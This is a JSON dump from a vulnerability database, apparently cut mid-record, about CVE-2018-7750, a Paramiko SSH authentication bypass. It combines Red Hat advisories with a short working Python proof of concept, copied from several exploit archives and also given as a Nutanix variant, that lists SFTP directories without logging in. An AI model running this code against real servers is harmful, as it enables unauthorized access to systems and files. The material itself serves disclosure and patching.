transport.py (CVE-2018-7750)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2018-04-13T01:02:59", "published": "2018-04-13T01:00:39", "id": "RHSA-2018:1125", "href": "https://access.redhat.com/errata/RHSA-2018:1125", "type": "redhat", "title": "(RHSA-2018:1125) Critical: python-paramiko security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:46:11", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "The python-paramiko package provides a Python module that implements the SSH2 protocol for encrypted and authenticated connections to remote machines. Unlike SSL, the SSH2 protocol does not require hierarchical certificates signed by a powerful central authority. The protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel.\n\nSecurity Fix(es):\n\n* python-paramiko: Authentication bypass in transport.py (CVE-2018-7750)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2018-07-10T16:47:30", "published": "2018-04-24T12:55:50", "id": "RHSA-2018:1213", "href": "https://access.redhat.com/errata/RHSA-2018:1213", "type": "redhat", "title": "(RHSA-2018:1213) Low: python-paramiko security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:44:35", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "The python-paramiko package provides a Python module that implements the SSH2 protocol for encrypted and authenticated connections to remote machines. Unlike SSL, the SSH2 protocol does not require hierarchical certificates signed by a powerful central authority. The protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel.\n\nThe following packages have been upgraded to a later upstream version: python-paramiko (2.1.1). (BZ#1562393)\n\nSecurity Fix(es):\n\n* python-paramiko: Authentication bypass in transport.py (CVE-2018-7750)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2018-05-02T17:00:25", "published": "2018-05-02T16:59:21", "id": "RHSA-2018:1274", "href": "https://access.redhat.com/errata/RHSA-2018:1274", "type": "redhat", "title": "(RHSA-2018:1274) Low: python-paramiko security, bug fix, and enhancement update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:45:45", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "The python-paramiko package provides a Python module that implements the SSH2 protocol for encrypted and authenticated connections to remote machines. Unlike SSL, the SSH2 protocol does not require hierarchical certificates signed by a powerful central authority. The protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel.\n\nSecurity Fix(es):\n\n* python-paramiko: Authentication bypass in transport.py (CVE-2018-7750)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.\n\nBug Fix(es):\n\n* python-paramiko has been using the python2-pyasn1 package, but did not depend on it. With new versions of python2-cryptography, python2-pyasn1 was not getting installed and this caused python-paramiko to malfunction. This bug was fixed by making python-paramiko depend on python2-pyasn1 explicitly. (BZ#1559133)", "modified": "2018-03-26T19:03:45", "published": "2018-03-26T18:34:26", "id": "RHSA-2018:0591", "href": "https://access.redhat.com/errata/RHSA-2018:0591", "type": "redhat", "title": "(RHSA-2018:0591) Critical: python-paramiko security and bug fix update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:45:50", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "The python-paramiko package provides a Python module that implements the SSH2 protocol for encrypted and authenticated connections to remote machines. Unlike SSL, the SSH2 protocol does not require hierarchical certificates signed by a powerful central authority. The protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel.\n\nSecurity Fix(es):\n\n* python-paramiko: Authentication bypass in transport.py (CVE-2018-7750)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2018-04-05T20:30:43", "published": "2018-04-05T20:29:17", "id": "RHSA-2018:0646", "href": "https://access.redhat.com/errata/RHSA-2018:0646", "type": "redhat", "title": "(RHSA-2018:0646) Low: python-paramiko security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:42", "description": "\nParamiko 2.4.1 - Authentication Bypass", "edition": 1, "published": "2018-10-29T00:00:00", "title": "Paramiko 2.4.1 - Authentication Bypass", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-7750"], "modified": "2018-10-29T00:00:00", "id": "EXPLOITPACK:8B7915D0D2EEAEF1BBD188C139A91363", "href": "", "sourceData": "# Exploit Title: Paramiko 2.4.1 - Authentication Bypass\n# Date: 2018-10-27\n# Exploit Author: Adam Brown\n# Vendor Homepage: https://www.paramiko.org\n# Software Link: https://github.com/paramiko/paramiko/tree/v1.15.2\n# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1\n# Tested on: Multiple\n# CVE : CVE-2018-7750\n\n# This PoC is based on discussions found at the following github issue:\n# https://github.com/paramiko/paramiko/issues/1175\n# TLDR, Paramiko doesn't check if the client has completed the authentication step\n# before allowing the client to open channels. The PoC below connects to an SFTP\n# server, and lists the root directory without authenticating. Slight modification\n# is required if you want to open an SSH channel.\n\n#!/usr/bin/python\nimport paramiko\n\nhost = '127.0.0.1'\nport = 22\n\ntrans = paramiko.Transport((host, port))\ntrans.start_client()\n\n# If the call below is skipped, no username or password is required.\n# trans.auth_password('username', 'password')\n\nsftp = paramiko.SFTPClient.from_transport(trans)\nprint(sftp.listdir('/'))\nsftp.close()", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-04-01T19:04:38", "description": "\nNutanix AOS Prism 5.5.5 (LTS) 5.8.1 (STS) - SFTP Authentication Bypass", "edition": 1, "published": "2018-10-30T00:00:00", "title": "Nutanix AOS Prism 5.5.5 (LTS) 5.8.1 (STS) - SFTP Authentication Bypass", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-7750"], "modified": "2018-10-30T00:00:00", "id": "EXPLOITPACK:8993AE34C3838975CB9FF94F3F9FEC81", "href": "", "sourceData": "# Exploit Title: Nutanix AOS & Prism - SFTP Authentication Bypass\n# Date: 2018-10-27\n# Exploit Author: Adam Brown\n# Vendor Homepage: https://www.nutanix.org\n# Software Link: https://www.nutanix.com/products/software-options/\n# Version: < 5.5.5 (LTS), < 5.8.1 (STS)\n# Tested on: Acropolis Operating System\n# CVE : Related to CVE-2018-7750\n#\n# This PoC is based on discussions found at the following blog post:\n# https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix/\n# TLDR, the Acropolis SFTP server doesn't check if the client has completed the\n# authentication step before allowing the client to open channels. The PoC below\n# connects to the acropolis SFTP server, and lists the root directory without\n# authenticating.\n\n#!/usr/bin/python\nimport paramiko\n\nhost = '127.0.0.1'\nport = 2222\n\ntrans = paramiko.Transport((host, port))\ntrans.start_client()\n\n# If the call below is skipped, no username or password is required.\n# trans.auth_password('username', 'password')\n\nsftp = paramiko.SFTPClient.from_transport(trans)\nprint(sftp.listdir('/'))\nsftp.close()", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2018-10-31T10:17:28", "description": "", "published": "2018-10-30T00:00:00", "type": "packetstorm", "title": "Nutanix AOS And Prism SFTP Authentication Bypass", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-7750"], "modified": "2018-10-30T00:00:00", "id": "PACKETSTORM:150020", "href": "https://packetstormsecurity.com/files/150020/Nutanix-AOS-And-Prism-SFTP-Authentication-Bypass.html", "sourceData": "`# Exploit Title: Nutanix AOS & Prism - SFTP Authentication Bypass \n# Date: 2018-10-27 \n# Exploit Author: Adam Brown \n# Vendor Homepage: https://www.nutanix.org \n# Software Link: https://www.nutanix.com/products/software-options/ \n# Version: < 5.5.5 (LTS), < 5.8.1 (STS) \n# Tested on: Acropolis Operating System \n# CVE : Related to CVE-2018-7750 \n# \n# This PoC is based on discussions found at the following blog post: \n# https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix/ \n# TLDR, the Acropolis SFTP server doesn't check if the client has completed the \n# authentication step before allowing the client to open channels. The PoC below \n# connects to the acropolis SFTP server, and lists the root directory without \n# authenticating. \n \n#!/usr/bin/python \nimport paramiko \n \nhost = '127.0.0.1' \nport = 2222 \n \ntrans = paramiko.Transport((host, port)) \ntrans.start_client() \n \n# If the call below is skipped, no username or password is required. \n# trans.auth_password('username', 'password') \n \nsftp = paramiko.SFTPClient.from_transport(trans) \nprint(sftp.listdir('/')) \nsftp.close() \n \n \n`\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/150020/nutanixaosprism-bypass.txt"}, {"lastseen": "2018-10-29T19:07:38", "description": "", "published": "2018-10-29T00:00:00", "type": "packetstorm", "title": "Paramiko 2.4.1 Authentication Bypass", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-7750"], "modified": "2018-10-29T00:00:00", "id": "PACKETSTORM:149983", "href": "https://packetstormsecurity.com/files/149983/Paramiko-2.4.1-Authentication-Bypass.html", "sourceData": "`# Exploit Title: Paramiko 2.4.1 - Authentication Bypass \n# Date: 2018-10-27 \n# Exploit Author: Adam Brown \n# Vendor Homepage: https://www.paramiko.org \n# Software Link: https://github.com/paramiko/paramiko/tree/v1.15.2 \n# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1 \n# Tested on: Multiple \n# CVE : CVE-2018-7750 \n \n# This PoC is based on discussions found at the following github issue: \n# https://github.com/paramiko/paramiko/issues/1175 \n# TLDR, Paramiko doesn't check if the client has completed the authentication step \n# before allowing the client to open channels. The PoC below connects to an SFTP \n# server, and lists the root directory without authenticating. Slight modification \n# is required if you want to open an SSH channel. \n \n#!/usr/bin/python \nimport paramiko \n \nhost = '127.0.0.1' \nport = 22 \n \ntrans = paramiko.Transport((host, port)) \ntrans.start_client() \n \n# If the call below is skipped, no username or password is required. \n# trans.auth_password('username', 'password') \n \nsftp = paramiko.SFTPClient.from_transport(trans) \nprint(sftp.listdir('/')) \nsftp.close() \n \n`\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/149983/paramiko241-bypass.txt"}], "exploitdb": [{"lastseen": "2018-11-30T12:31:33", "description": "", "published": "2018-10-29T00:00:00", "type": "exploitdb", "title": "Paramiko 2.4.1 - Authentication Bypass", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-7750"], "modified": "2018-10-29T00:00:00", "id": "EDB-ID:45712", "href": "https://www.exploit-db.com/exploits/45712", "sourceData": "# Exploit Title: Paramiko 2.4.1 - Authentication Bypass\r\n# Date: 2018-10-27\r\n# Exploit Author: Adam Brown\r\n# Vendor Homepage: https://www.paramiko.org\r\n# Software Link: https://github.com/paramiko/paramiko/tree/v1.15.2\r\n# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1\r\n# Tested on: Multiple\r\n# CVE : CVE-2018-7750\r\n\r\n# This PoC is based on discussions found at the following github issue:\r\n# https://github.com/paramiko/paramiko/issues/1175\r\n# TLDR, Paramiko doesn't check if the client has completed the authentication step\r\n# before allowing the client to open channels. The PoC below connects to an SFTP\r\n# server, and lists the root directory without authenticating. Slight modification\r\n# is required if you want to open an SSH channel.\r\n\r\n#!/usr/bin/python\r\nimport paramiko\r\n\r\nhost = '127.0.0.1'\r\nport = 22\r\n\r\ntrans = paramiko.Transport((host, port))\r\ntrans.start_client()\r\n\r\n# If the call below is skipped, no username or password is required.\r\n# trans.auth_password('username', 'password')\r\n\r\nsftp = paramiko.SFTPClient.from_transport(trans)\r\nprint(sftp.listdir('/'))\r\nsftp.close()", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/45712"}], "zdt": [{"lastseen": "2018-10-29T20:40:26", "description": "Exploit for linux platform in category remote exploits", "edition": 1, "published": "2018-10-29T00:00:00", "title": "Paramiko 2.4.1 - Authentication Bypass Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-7750"], "modified": "2018-10-29T00:00:00", "id": "1337DAY-ID-31454", "href": "https://0day.today/exploit/description/31454", "sourceData": "# Exploit Title: Paramiko 2.4.1 - Authentication Bypass\r\n# Exploit Author: Adam Brown\r\n# Vendor Homepage: https://www.paramiko.org\r\n# Software Link: https://github.com/paramiko/paramiko/tree/v1.15.2\r\n# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1\r\n# Tested on: Multiple\r\n# CVE : CVE-2018-7750\r\n \r\n# This PoC is based on discussions found at the following github issue:\r\n# https://github.com/paramiko/paramiko/issues/1175\r\n# TLDR, Paramiko doesn't check if the client has completed the authentication step\r\n# before allowing the client to open channels. The PoC below connects to an SFTP\r\n# server, and lists the root directory without authenticating. Slight modification\r\n# is required if you want to open an SSH channel.\r\n \r\n#!/usr/bin/python\r\nimport paramiko\r\n \r\nhost = '127.0.0.1'\r\nport = 22\r\n \r\ntrans = paramiko.Transport((host, port))\r\ntrans.start_client()\r\n \r\n# If the call below is skipped, no username or password is required.\r\n# trans.auth_password('username', 'password')\r\n \r\nsftp = paramiko.SFTPClient.from_transport(trans)\r\nprint(sftp.listdir('/'))\r\nsftp.close()\n\n# 0day.today [2018-10-29] #", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://0day.today/exploit/31454"}]}